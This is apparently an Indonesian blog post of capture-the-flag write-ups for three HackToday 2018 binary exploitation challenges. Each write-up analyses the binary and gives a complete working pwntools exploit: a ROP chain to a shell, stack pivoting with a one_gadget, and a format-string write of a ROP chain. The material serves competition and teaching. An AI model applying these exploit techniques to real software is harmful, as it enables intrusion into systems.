Senin, 13 Agustus 2018

Write Up Binary Exploitation. HackToday 2018 Quals

Soal dapat didownload di link

1. ezpz

Diberikan binary dengan spesifikasi sebagai berikut
/ezpz $ file ezpz
ezpz: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=477a0c4c22c10b7894839e3350771a9746c04c21, not stripped

/ezpz $ checksec ezpz
[*] 'binexp/ezpz/ezpz'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
Binary tersebut meminta input dan mencetak nya kembali.
/ezpz $ ./ezpz 
test
test
Setelah kita mencoba untuk mendecompile. Namun fungsi fungsi penting tidak dapat didecompile sebagai mestinya karena ada semacam instruksi anti decompile dalam binary tersebut. Kita coba untuk mencari beberapa info penting lain dalam decompiler. Kita dapat menemukan string “/bin/sh” di segment .rodata dengan alamat 0x40079A . Kita juga menemukan fungsi system yang disembunyikan di dalam got strlen dan akan dipanggil oleh fungsi w_strlen di pada alamat 0x4005F7 .
Berikut adalah snippet dari disassembly fungsi main.
text:0000000000400679 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000400679                 public main
.text:0000000000400679 main:                                   ; DATA XREF: _start+1D↑o
.text:0000000000400679 ; __unwind {
.text:0000000000400679                 push    rbp
.text:000000000040067A                 mov     rbp, rsp
.text:000000000040067D                 sub     rsp, 10h
.text:0000000000400681                 mov     [rbp-4], edi
.text:0000000000400684                 mov     [rbp-10h], rsi
.text:0000000000400688                 jz      short loc_40068C
.text:000000000040068A                 jnz     short near ptr loc_40068C+2
.text:000000000040068C
.text:000000000040068C loc_40068C:                             ; CODE XREF: .text:0000000000400688↑j
.text:000000000040068C                                         ; .text:000000000040068A↑j
.text:000000000040068C                 call    near ptr 0FFFFFFFFC1074F54h
Didalam fungsi main, terdapat anti decompiler yang membuat decompiler salah dalam menerjemahkan fungsi tersebut. Kita coba dynamic analysis dengan menggunakan gdb.
gdb-peda$ b *main
Breakpoint 1 at 0x400679
gdb-peda$ pdisas main
gdb-peda$ pdisas main
Dump of assembler code for function main:
=> 0x0000000000400679 <+0>: push   rbp
   0x000000000040067a <+1>: mov    rbp,rsp
   0x000000000040067d <+4>: sub    rsp,0x10
   0x0000000000400681 <+8>: mov    DWORD PTR [rbp-0x4],edi
   0x0000000000400684 <+11>:    mov    QWORD PTR [rbp-0x10],rsi
   0x0000000000400688 <+15>:    je     0x40068c <main+19>
   0x000000000040068a <+17>:    jne    0x40068e <main+21>
   0x000000000040068c <+19>:    call   0xffffffffc1074f54
   0x0000000000400691 <+24>:    xor    BYTE PTR [rax],dl
   0x0000000000400693 <+26>:    (bad)  
   0x0000000000400694 <+27>:    add    BYTE PTR [rax-0x75],cl
   0x0000000000400697 <+30>:    add    BYTE PTR [rax-0x75],cl
   0x000000000040069a <+33>:    adc    eax,0x200941
   0x000000000040069f <+38>:    mov    rdi,QWORD PTR [rdx]
   0x00000000004006a2 <+41>:    mov    ecx,0x0
   0x00000000004006a7 <+46>:    mov    edx,0x2
   0x00000000004006ac <+51>:    mov    esi,0x0
   0x00000000004006b1 <+56>:    call   rax
   0x00000000004006b3 <+58>:    mov    rax,0x5
   0x00000000004006ba <+65>:    call   0x4006bf <main+70>
   0x00000000004006bf <+70>:    add    QWORD PTR [rsp],rax
   0x00000000004006c3 <+74>:    ret    
   0x00000000004006c4 <+75>:    mov    rax,0x601030
   0x00000000004006cb <+82>:    mov    rax,QWORD PTR [rax]
   0x00000000004006ce <+85>:    mov    rdx,QWORD PTR [rip+0x200913]        # 0x600fe8
   0x00000000004006d5 <+92>:    mov    rdi,QWORD PTR [rdx]
   0x00000000004006d8 <+95>:    mov    ecx,0x0
   0x00000000004006dd <+100>:   mov    edx,0x2
   0x00000000004006e2 <+105>:   mov    esi,0x0
   0x00000000004006e7 <+110>:   call   rax
   0x00000000004006e9 <+112>:   je     0x4006ed <main+116>
   0x00000000004006eb <+114>:   jne    0x4006ef <main+118>
   0x00000000004006ed <+116>:   call   0xffffffffff71efb5
   0x00000000004006f2 <+121>:   (bad)  
   0x00000000004006f3 <+122>:   (bad)  
   0x00000000004006f4 <+123>:   mov    eax,0x0
   0x00000000004006f9 <+128>:   leave  
   0x00000000004006fa <+129>:   ret    
End of assembler dump.
Terdapat beberapa instruksi call rax disana. Kita coba untuk break disetiap call rax, untuk mengetahui behaviour dari program tersebut.
1. 
RAX: 0x7ffff7a7ce70 (<__GI__IO_setvbuf>:    push   rbp)
RBX: 0x0 
RCX: 0x0 
RDX: 0x2 
RSI: 0x0 
RDI: 0x7ffff7dd2620 --> 0xfbad2084 

=> 0x4006b1 <main+56>:  call   rax

Rax pertama digunakan untuk memanggil fungsi setvbuf, yaitu untuk mematikan buffer. Kita lanjutkan ke instruksi selanjutnya.
Pada instruksi selanjutnya program akan mengeksekusi fungsi __exit yang sebenarnya adalah fungsi scanf.
RAX: 0x0 
RBX: 0x0 
RCX: 0xfbad008b 
RDX: 0x7ffff7a784d0 (<__isoc99_scanf>:  push   rbx)
RSI: 0x7fffffffdca0 --> 0x7fffffffdcce --> 0x4007000000 
RDI: 0x4007a3 --> 0x31b010000007325 
RBP: 0x7fffffffdcb0 --> 0x7fffffffdcd0 --> 0x400700 (<__libc_csu_init>: push   r15)
RSP: 0x7fffffffdca0 --> 0x7fffffffdcce --> 0x4007000000 
RIP: 0x400661 (<__exit+60>: call   rdx)
R8 : 0x7ffff7dd3790 --> 0x0 
R9 : 0x0 
R10: 0x0 
R11: 0xb ('\x0b')
R12: 0x400520 (<_start>:    xor    ebp,ebp)
R13: 0x7fffffffddb0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400652 <__exit+45>:    mov    rsi,rax
   0x400655 <__exit+48>:    lea    rdi,[rip+0x147]        # 0x4007a3
   0x40065c <__exit+55>:    mov    eax,0x0
=> 0x400661 <__exit+60>:    call   rdx
   0x400663 <__exit+62>:    mov    rax,0x601038
   0x40066a <__exit+69>:    mov    rax,QWORD PTR [rax]
   0x40066d <__exit+72>:    lea    rdx,[rbp-0x10]
   0x400671 <__exit+76>:    mov    rdi,rdx
Dengan argumen "%s" yang berada di rdi, dan alamat 0x7fffffffdca0 di rsi , program membaca inputan dengan menggunakan scanf, sehingga bisa buffer overflow. Kita cek RIP berada pada 0x7fffffffdcb8 .
gdb-peda$ i f
Stack level 0, frame at 0x7fffffffdcc0:
 rip = 0x400674 in __exit; saved rip = 0x4006f4
 called by frame at 0x7fffffffdce0
 Arglist at 0x7fffffffdcb0, args: 
 Locals at 0x7fffffffdcb0, Previous frame's sp is 0x7fffffffdcc0
 Saved registers:
  rbp at 0x7fffffffdcb0, rip at 0x7fffffffdcb8
Untuk mengisi RIP kita memerlukan buffer sebesar 0x7fffffffdcb8 - 0x7fffffffdca0 = 24 . Kita dapat memanggil shell dengan melakukan pop rdi alamat "/bin/sh" , lalu memanggil fungsi _strlen . Untuk itu kita membutuhkan gadget pop rdi. Kita coba gunakan tools ROPgadget untuk mencari gadget yang dapat digunakan.
/ezpz $ ROPgadget --binary ezpz
.
0x0000000000400763 : pop rdi ; ret
.

. Mari kita susun exploit dengan informasi yang kita miliki.
from pwn import *

r = process('./ezpz')

context.terminal = ['kitty', 'sh', '-c']

gdb.attach(r, 'b *0x00400677')

# 0x40079A binsh

payload  = "A" * 24
payload += p64(0x400763) # pop rdi
payload += p64(0x40079a) # binsh
payload += p64(0x4005f7) # w_strlen
r.sendline(payload)

r.interactive()
Hasil eksekusi
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAc\x07@
$ cat flag
HackToday{jangan_terlalu_buffer_:(}
$  

2. nullflag

Diberikan binary dengan spesifikasi berikut.
/nullflag $ file nullflag
nullflag: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=b58f79f7e1a54a2eb3bba48349bbd8241daf8422, not stripped

/nullflag $ checksec nullflag
[*] 'binexp/nullflag/nullflag'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Berikut adalah hasil decompile binary tersebut
__int64 vuln()
{
  char buf; // [rsp+0h] [rbp-70h]

  read(0, &buf, 0x80uLL);
  return 0LL;
}
Binary tersebut membaca input sebanyak 0x80 bytes dengan buffer yang disediakan sebanyak 0x70 byte. Terdapat buffer overflow namun hanya dapat mengisi RBP dan RIP. Kita tidak dapat langsung menggunakan ROP chain karena fungsi read yang disediakan tidak mencukupi. Cara untuk mengatasi ini adalah dengan melakukan stack pivoting ke area yang writeable, yaitu BSS. Kita coba lihat disassembly dari fungsi vuln.
gdb-peda$ pdisas vuln
Dump of assembler code for function vuln:
   0x00000000004007cf <+0>: push   rbp
   0x00000000004007d0 <+1>: mov    rbp,rsp
   0x00000000004007d3 <+4>: sub    rsp,0x70
   0x00000000004007d7 <+8>: lea    rax,[rbp-0x70]
   0x00000000004007db <+12>:    mov    edx,0x80
   0x00000000004007e0 <+17>:    mov    rsi,rax
   0x00000000004007e3 <+20>:    mov    edi,0x0
   0x00000000004007e8 <+25>:    mov    eax,0x0
   0x00000000004007ed <+30>:    call   0x400590 <read@plt>
   0x00000000004007f2 <+35>:    mov    eax,0x0
   0x00000000004007f7 <+40>:    leave  
   0x00000000004007f8 <+41>:    ret    
Apabila kita mengisi RBP dengan nilai bss, dan RIP dengan alamat 0x00000000004007d7 , maka program akan menganggap RIP selanjutnya berada di alamat RBP+8 yang merupakan alamat di bss. Langkah langkah eksploit adalah sebagai berikut.
1. Overwrite RBP ke alamat bss writable dan RIP ke alamat dimana RBP tidak tertimpa dengan RSP.
2. Read akan membaca kedalam RBP-0x70 yang berada dalam BSS. Input payload Rop chain untuk melakukan leak fungsi libc pada gotm kita gunakan fungsi read() yang sudah diresolve.
3. Didalam payload arahkan fungsi untuk kembali ke main. Hitung offset libc read ke magic offset one gadget di libc. Overwrite RIP dengan magic one gadget yang sudah dihitung tadi.
Terdapat beberapa unintended dificulty dimana fungsi puts harus dipanggil dua kali untuk melakukan leak. Berikut eksploit yang sudah disusun.
from pwn import *
from sys import *
"""
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
""" 

pop_rdi = 0x0000000000400893
pop_rsi_r15 = 0x0000000000400891
leave_ret = 0x00000000004007f7
read = 0x0000000000400590
ret = 0x00000000004007F8
puts = 0x0000000000400570
main =0x00000000004007F9
p = process("./nullflag")
# p = connect("103.56.207.107",30004)
cmd = """

b *0x00000000004007f2
"""
if(len(argv) == 3):
    gdb.attach(p, cmd)
pload = 'a'*0x70
pload += p64(0x601900)
pload += p64(0x4007d7)
p.send(pload)

pload = p64(pop_rdi)
pload += p64(0x0000000000601030)
pload += p64(puts)
pload += p64(pop_rdi)
pload += p64(0x0000000000601030)
pload += p64(puts)
pload += p64(main)
pload += "A" * 8 * 7
pload += p64(0x601900-0x78)
pload += p64(leave_ret)
p.send(pload)

read_addr = u64(p.recv(6).ljust(8,'\x00'))
offset_read = 0x00000000000f7250

basic = read_addr - offset_read
magic = 0x45216
one_gadget = (basic + magic) 

pload = "A" * 0x70
pload += "A" * 8
pload += p64(one_gadget)
p.send(pload)

p.interactive()
Hasil eksekusi
[+] Starting local process './nullflag': pid 15276
[*] Switching to interactive mode

Pr\x93\xad�
$ cat flag
HackToday{An0ther_l3vee33eelllllll_0f_stack_p111v0ting}$  

3. HackMap

Diberikan sebuah binary 64 bit dengan spesifikasi sebagai berikut.
/hackmap $ file hackmap
hackmap: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=71147598285bf092b7fc0b888cf066d7ad4f75f7, not stripped
/hackmap $ checksec hackmap
[*] 'binexp/hackmap/hackmap'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
/hackmap $ ./hackmap 
---------------------------------
 HackMap - Tools Heking Otomatis
---------------------------------
hehe 


-----------------
    Bar menu
-----------------
[h] - Mulai heking
[e] - Keluar. Get a real lyfe
> h
Masukan web yang ingin kamu hek
> ******.com
Heking sukses. Satu langkah menuju gg
> e
Kita coba lihat hasil decompile dari binary tersebut.
Fungsi starthack
int starthack()
{
  int result; // eax
  char v1; // [rsp+Bh] [rbp-5h]

  fgets(&namapail[5], 88, stdin);
  namapail[(signed int)(strlen(&namapail[5]) + 4)] = 0;
  do
  {
    while ( 1 )
    {
      menu(&namapail[5], 88LL);
      v1 = getchar();
      result = getchar();
      if ( v1 != 104 )
        break;
      hack();
    }
  }
  while ( v1 != 101 );
  return result;
}
Fungsi hack
int hack()
{
  FILE *stream; // ST08_8
  int v2; // [rsp+4h] [rbp-ECh]
  char needle[8]; // [rsp+10h] [rbp-E0h]
  __int16 v4; // [rsp+18h] [rbp-D8h]
  char s[200]; // [rsp+20h] [rbp-D0h]
  unsigned __int64 v6; // [rsp+E8h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  *(_QWORD *)needle = 'moc';
  v4 = 0;
  printf("Masukan web yang ingin kamu hek\n> ");
  fgets(s, 150, stdin);
  v2 = strlen(s);
  if ( !strstr(s, needle) )
    return printf("Periksa inputannya lagi ya mz: %p", s);
  s[v2 - 1] = 0;
  puts("Heking sukses. Satu langkah menuju gg");
  stream = fopen(namapail, "wb");
  fprintf(stream, s);
  return fclose(stream);
}
Dari analisa pada pseudocode, binary tersebut akan membuat file pada "/tmp/" + "nama_file" yang kita input diawal. Binary tersebut juga melakukan write pada file tersebut saat kita memasukkan command h. Untuk melakukan write, input kita harus berisikan string com. Terdapat vulnerablity format string didalam fprintf, karena tidak menggunakan format parameter.
/hackmap $ ./hackmap 
---------------------------------
 HackMap - Tools Heking Otomatis
---------------------------------
hehe 


-----------------
    Bar menu
-----------------
[h] - Mulai heking
[e] - Keluar. Get a real lyfe
> h
Masukan web yang ingin kamu hek
> %p_%p_%p_%p.com
Heking sukses. Satu langkah menuju gg


-----------------
    Bar menu
-----------------
[h] - Mulai heking
[e] - Keluar. Get a real lyfe
> ^C
/hackmap $ cat /tmp/hehe
0x7ffd82e7ddc0_0x7f5ee24b7040_0x4_0x1.com/hackmap $
Karena terdapat vulnerability format string, maka kita dapat melakukan write to anywhere. Namun kita tidak dapat melakukan leak dikarenakan output dari fprintf tidak ditampilkan di stdout. Pada soal tidak disediakan libc sehingga kita coba cara yang lain.
Apabila kita tidak memasukkan string com pada input hack, maka binary akan mencetak sesuatu yang menarik.
/hackmap $ ./hackmap 
---------------------------------
 HackMap - Tools Heking Otomatis
---------------------------------
hehe


-----------------
    Bar menu
-----------------
[h] - Mulai heking
[e] - Keluar. Get a real lyfe
> h
Masukan web yang ingin kamu hek
> heee 
Periksa inputannya lagi ya mz: 0x7ffcdd92ab30
Ini dikarenakan program menggunakan %p saat mencetak string sehingga yang tercetak adalah pointer dari string tersebut.
return printf("Periksa inputannya lagi ya mz: %p", s);
String inputan berada pada stack, sehingga kita dapat menghitung offset RIP dengan alamat pointer tersebut. Karena kita dapat write to anywhere dan kita mengetahui dimana RIP maka kita dapat menuliskan ROPchain menggunakan format string vuln, exit dari fungsi starthack maka ROPchain tersebut akan dieksekusi.
Sebelum menyusun eksploit kita coba kumpulkan informasi yang kita butuhkan. Untuk melakukan overwrite pada format string kita membutuhkan offset untuk meletakkan alamat yang akan ditulis. Karena binary ini merupakan program 64 bit, maka alamat yang akan ditulis harus diletakkan dibelakang payload, karena alamat stack pasti mengandung null bytes sehingga membuat printf terhenti untuk mencetak string. Berikut adalah script parser sederhana untuk menemukan offset yang pas.
from pwn import *
from time import *

def pad(pload):
    return pload +"_com" + "A" * (0x40 - 4 - len(pload)) 

p = process("./hackmap")
p.sendline("hehe")
for i in range(1000):
    alamat = "BBBBCCCC"

    pload = pad("%{}$p".format(i)) + alamat
    print pload
    p.sendline("h")
    sleep(0.01)
    p.sendline(pload)
    sleep(0.01)
    leak = open("/tmp/hehe").read().split("kamu hek ")[0]
    print i, leak

# 17 0x4343434342424242_comAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC
Didapat offset 17 untuk melakukan overwrite.
Berikut adalah ide eksploit yang terpikirkan:
  1. Leak pointer dari string dengan memasukkan string tanpa “com”
  2. Hitung offset antara stack yang ada dengan stack alamat rip dari fungsi starthack
  3. Buat ROPchain untuk melakukan leak terhadap salah satu fungsi di got
  4. Buat ROPchain untuk kembali ke fungsi starthack kembali
  5. Buat ROPchain untuk kembali ke system.
Beberapa kesulitan untuk melakukan format string pada binary 64 bit adalah terdapat nullbytes pada alamat untuk menulis, sehingga alamat harus diletakkan diakhir payload. Untuk mempercepat penulisan, maka setiap payload akan ditulis setiap dua bytes. Terdapat unintended difficulty pada penulisan format strng, yaitu byte terakhir akan dihilangkan dengan nullbyte, sehingga kita harus menambahkan byte sebelum nullbyte, agar alamat tidak rusak.
from pwn import *
from sys import *
from time import *

strlen = 0x0000000000602028
printf = 0x0000000000602038
starthack = 0x0000000000400A05
puts      = 0x00000000004006D0
poprdi    = 0x0000000000400b63
puts_got  = 0x0000000000602018
bss       = 0x0000000000602139
offset    = 17 

p = process("./hackmap")
cmd = """
b *0x0000000000400a7b
b *starthack
"""

if(len(argv) == 3):
    gdb.attach(p, cmd)

def baca():
    print read("/tmp/hehe")

def buat(alamat, isi, write=0):
    nn = "p"
    # fix unintended dificulty.
    alamat = alamat | 0x00ff000000000000
    print(hex(alamat))
    if write == 1:
        nn = "hn"
    if isi == 0:
        pload = "%{}${}".format(offset, nn)
        pload = pad(pload) + p64(alamat)
        return pload
    pload = "%{}c".format(isi)+"%{}${}".format(offset, nn)
    pload = pad(pload) +p64(alamat) 
    return pload

# create manually overwrite anywhere formatstring
def conv(alamat, mau):
    baru = []
    for i in range(0, len(mau), 2):
        part = buat(alamat+i, u16(mau[i:i+2]), 1)
        baru.append(part)
    return baru

def pad(naon):
    return naon + "_com" + "A" * (0x40-4-len(naon))  

def kirim(pload):
    p.sendline("h")
    sleep(0.1)
    p.sendline(pload)
    sleep(0.1)

p.sendline("hehe")
sleep(0.01)
p.sendline("h")
sleep(0.01)
p.sendline("naon")
sleep(0.01)
p.recvuntil("mz: ")

alamat_web      = eval(p.recvline()[:-1])
print "alamat stack web", hex(alamat_web) 
rip_starthack   = alamat_web + 280
rip_starthack2 = alamat_web + 312

print hex(rip_starthack)
print "leak "
ex = ELF("./hackmap")
payload  = p64(poprdi) + p64(putsgot) + p64(puts) + p64(starthack)
rop1     = []
rop1     += conv(rip_starthack, payload) # rop1

i = 0

for part in rop1:
    print i, repr(part)
    i += 1
    kirim(part)
    print("hasil")

for i in range(150):
    print i, p.recvline()

p.sendline("e")

# hitung offset
putslibc = u64((p.recvline()[2:].strip()).ljust(8, "\x00"))
print "leak ", hex(putslibc)
offset_system = 0x0000000000045390
offset_str_bin_sh = 0x18cd57
offset_puts = 0x000000000006f690

binsh = putslibc - offset_puts + offset_str_bin_sh
system = putslibc - offset_puts + offset_system

# create new payload
p.sendline("hehe")
payload2 = p64(poprdi) + p64(binsh) + p64(system)  
final2 = []
final2 += conv(rip_starthack2, payload2) 
for part in final2:
    print part
    kirim(part)

p.interactive()

Hasil eksekusi
.
.

[h] - Mulai heking
[e] - Keluar. Get a real lyfe
> $ e
$ cat flag
HackToday{4dventur3_0f_bl1nD_fmt_Striiiiiiiiiiiiiinggggggggsss_h3h3}

Tidak ada komentar:

Posting Komentar